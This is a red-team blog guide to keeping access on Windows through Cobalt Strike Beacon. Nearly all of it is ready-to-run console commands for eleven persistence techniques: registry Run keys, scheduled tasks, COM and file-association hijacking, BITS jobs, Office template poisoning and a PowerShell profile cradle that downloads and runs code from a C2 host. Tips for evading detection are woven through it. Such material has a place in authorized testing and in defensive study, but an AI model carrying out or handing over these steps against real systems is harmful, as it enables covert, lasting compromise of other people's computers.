Cobalt Strike Persistence: The Red Teamer's Guide to Maintaining Access

Cobalt Strike Persistence: The Red Teamer's Guide to Maintaining Access

Cobalt Strike Persistence: The Red Teamer's Guide to Maintaining Access

Updated on February 15, 2026

Introduction

In the world of adversarial simulation, landing a Beacon is only the first step. The real challenge often lies in keeping that access alive. When you are operating through Cobalt Strike, your methodology changes. You aren't just typing into a local CMD prompt; you are managing asynchronous agents, dealing with sleep cycles, and trying to minimize your on-disk footprint.

Persistence with Cobalt Strike requires a different mindset. You need to leverage Beacon's built-in capabilities like shell, powershell, and execute-assembly—to establish footholds that can survive a reboot.

This guide translates standard userland persistence techniques into actionable Cobalt Strike workflows. We will focus on maintaining access as a standard user, assuming you haven't yet escalated to SYSTEM.

Cobalt Strike Persistence: The Red Teamer's Guide to Maintaining Access

Beacon Context & OpSec

Before executing any of these commands, check your context. Running persistence commands blindly is a quick way to burn an operation.

  • Check User Context: Run getuid to confirm you are in a user process, not a high-integrity context (unless intended).
  • Sleep Cycle: Remember that interactive commands (like shell) will hang until the Beacon checks in. Use sleep 0 temporarily if you need instant feedback, but revert to sleep 60 or higher immediately after.
  • OpSec Warning: The shell command spawns cmd.exe as a child process. In highly monitored environments, prefer using Beacon Object Files (BOFs), execute-assembly, or built-in commands like reg_set where possible to avoid process creation events.

1. Registry Run Keys via Beacon

MITRE ATT&CK: T1547.001

The Registry Run key is the most straightforward method. While you can use `shell reg add`, it is noisy because it spawns `cmd.exe`. The superior method is to use Beacon's built-in reg_set command, which modifies the registry via internal APIs without creating a child process.

Beacon Console

# Check existing entries (Stealthy, no cmd.exe)
reg_query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

# Add a persistence entry (Stealthy)
# Syntax: reg_set [Key] [ValueName] [Data]
reg_set HKCU\Software\Microsoft\Windows\CurrentVersion\Run "OneDriveSync" "C:\Users\Public\beacon.exe"

# Legacy/Loud Method (Spawns cmd.exe - Avoid unless necessary)
shell reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "OneDriveSync" /t REG_SZ /d "C:\Users\Public\beacon.exe" /f

2. The Startup Folder (Upload & LNK)

MITRE ATT&CK: T1547.001

In Cobalt Strike, we don't just "copy" files; we upload them. For the Startup folder, dropping a raw EXE is noisy. Instead, upload your payload to a hidden directory and then create a shortcut (LNK) in the Startup folder using PowerShell one-liners.

Beacon Console

# 1. Move to the startup directory
cd %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup

# 2. Upload a benign-looking LNK file (Pre-generated on your teamserver)
upload /path/to/local/Update.lnk

# ALTERNATIVE: Create LNK on the fly using PowerShell
powershell $s=(New-Object -COM WScript.Shell).CreateShortcut($env:APPDATA+'\Microsoft\Windows\Start Menu\Programs\Startup\EdgeUpdate.lnk');$s.TargetPath='C:\Users\Public\beacon.exe';$s.WindowStyle=7;$s.Save()

3. Scheduled Tasks (The CS Way)

MITRE ATT&CK: T1053.005

Creating tasks via schtasks is effective but creates a process tree. If you have the SharPersist tool compiled, you can use execute-assembly to create tasks entirely in memory, avoiding the `cmd.exe` spawn.

Beacon Console (Standard)

# Create a task running on logon
shell schtasks /create /tn "GoogleUpdateTaskUser" /tr "C:\Users\Public\beacon.exe" /sc onlogon /ru %USERNAME% /f

# Create a task running on idle
shell schtasks /create /tn "SystemIdleService" /tr "C:\Users\Public\beacon.exe" /sc onidle /i 10 /f

Beacon Console (execute-assembly)

# Using SharPersist (much stealthier)
execute-assembly /opt/Tools/SharPersist.exe -t schtask -c "C:\Users\Public\beacon.exe" -n "Updater" -m add -o onlogon

4. Screensaver Hijacking

MITRE ATT&CK: T1546.002

This technique relies on the user stepping away from their computer. We can manipulate the registry values directly from the Beacon console using reg_set to avoid command line logging.

Beacon Console

# Disable password protection for the screensaver
reg_set "HKCU\Control Panel\Desktop" "ScreenSaverIsSecure" "0"

# Enable screensaver functionality
reg_set "HKCU\Control Panel\Desktop" "ScreenSaveActive" "1"

# Set the malicious payload as the screensaver
reg_set "HKCU\Control Panel\Desktop" "SCRNSAVE.EXE" "C:\Users\Public\beacon.cmd"

5. PowerShell Profile Injection

MITRE ATT&CK: T1546.013

If your target is a power user or admin, they likely use PowerShell. We can append a download cradle to their profile. This executes your Beacon every time they open a terminal.

Beacon Console

# Check if profile exists
powershell Test-Path $PROFILE

# Create the profile file if it doesn't exist
powershell New-Item -Path $PROFILE -Type File -Force

# Append the cradle (Using `>>` to avoid overwriting existing configs)
shell echo IEX (New-Object Net.WebClient).DownloadString('http://c2-domain.com/a') >> %USERPROFILE%\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1

6. COM Hijacking (Registry Manipulation)

MITRE ATT&CK: T1546.015

COM hijacking requires precision. You need to identify a valid CLSID and redirect it. In Beacon, we do this by adding registry keys to HKCU. Again, we prefer reg_set over shell.

Beacon Console

# Define target CLSID (Example)
# This points the CLSID to our DLL in the user hive
reg_set "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" "" "C:\Users\Public\beacon.dll"

# Set threading model
reg_set "HKCU\Software\Classes\CLSID\{TARGET-CLSID}\InprocServer32" "ThreadingModel" "Apartment"

7. Logon Scripts

MITRE ATT&CK: T1037.001

The UserInitMprLogonScript environment variable is a legacy feature that still triggers on modern Windows. It is a great place to hide if the Run keys are heavily monitored.

Beacon Console

# Upload the script first
upload /local/path/update.bat C:\Users\Public\Music\update.bat

# Set the environment variable using reg_set
reg_set "HKCU\Environment" "UserInitMprLogonScript" "C:\Users\Public\Music\update.bat"

8. File Association Hijacking

MITRE ATT&CK: T1546.001

This intercepts file execution. If we hijack .txt, every time the user opens a note, we get a callback.

Beacon Console

# Verify the handler for .txt
shell assoc .txt

# Create the hijack command
# Note: We need 'shell' here for the complex command string execution, 
# or we can construct the registry key carefully.
# The command runs our payload, then opens the original file (%1) in Notepad
reg_set "HKCU\Software\Classes\txtfile\shell\open\command" "" "cmd.exe /c start /min C:\Users\Public\beacon.exe & notepad.exe %1"

9. BITS Jobs via Shell

MITRE ATT&CK: T1197

BITS is designed for file transfers, but its notification feature can execute programs. This is often ignored by standard antivirus solutions.

Beacon Console

# Create the job
shell bitsadmin /create UpdaterJob

# Add a dummy file (required for the job to run)
shell bitsadmin /addfile UpdaterJob http://127.0.0.1/a.png C:\Windows\Temp\a.png

# Set the command to execute upon error or completion
shell bitsadmin /SetNotifyCmdLine UpdaterJob "C:\Users\Public\beacon.exe" NULL

# Start the job
shell bitsadmin /resume UpdaterJob

10. Office Template Poisoning

MITRE ATT&CK: T1137.001

Replacing the global Word template (Normal.dotm) ensures your macro runs whenever Word is launched. You should generate a macro-enabled template on your attack machine first.

Beacon Console

# Navigate to templates directory
cd %APPDATA%\Microsoft\Templates

# Rename the existing template (always have a backup strategy)
shell ren Normal.dotm Normal.old

# Upload your weaponized template
upload /opt/payloads/MaliciousNormal.dotm

Note: You will need to rename the uploaded file to Normal.dotm after upload using the mv command in Beacon.

11. LNK Hijacking

MITRE ATT&CK: T1547.009

This modifies existing shortcuts on the Desktop. We use PowerShell within Beacon to modify the TargetPath of an icon like Chrome or Edge.

Beacon Console

# Modify Chrome shortcut to run Beacon first
powershell $s=(New-Object -COM WScript.Shell).CreateShortcut("$env:USERPROFILE\Desktop\Google Chrome.lnk");$s.TargetPath="cmd.exe";$s.Arguments="/c start C:\Users\Public\beacon.exe & start chrome.exe";$s.Save()

Detection & Artifacts

As a Red Teamer, you must understand what trails you are leaving behind. Cobalt Strike's default behavior is well-documented.

  1. Process Create Events (4688): Every shell command spawns cmd.exe / conhost.exe. Defenders look for cmd.exe spawned by rundll32.exe or powershell.exe (common Beacon hosts).
  2. Registry Modifications: EDRs hook registry writes to Run keys. Using execute-assembly with C# tools can sometimes bypass the command-line logging, but the registry event is still generated.
  3. Network Beacons: Persistence is useless if your C2 profile is flagged. Ensure your Malleable C2 Profile is configured with high jitter and legitimate-looking traffic patterns.

Conclusion

Maintaining access using Cobalt Strike is about blending in. While the techniques remain similar to manual exploitation, the execution method matters. Avoid spamming shell commands if you can use BOFs or in-memory execution, and always clean up your persistence mechanisms when the engagement ends.

Persistence is a privilege, not a right. Treat your access with care.

Enjoyed this guide? Share your thoughts below and tell us how you leverage Cobalt Strike Persistence in your projects!

Cobalt Strike, Red Teaming, Persistence, C2 Frameworks, Beacon, Cybersecurity, Ethical Hacking ## use Below CSS
Bhanu Namikaze

Bhanu Namikaze is an Penetration Tester, Red Teamer, Ethical Hacker, Blogger, Web Developer and a Mechanical Engineer. He Enjoys writing articles, Blogging, Debugging Errors and CTFs. Enjoy Learning; There is Nothing Like Absolute Defeat - Try and try until you Succeed.

No comments:

Post a Comment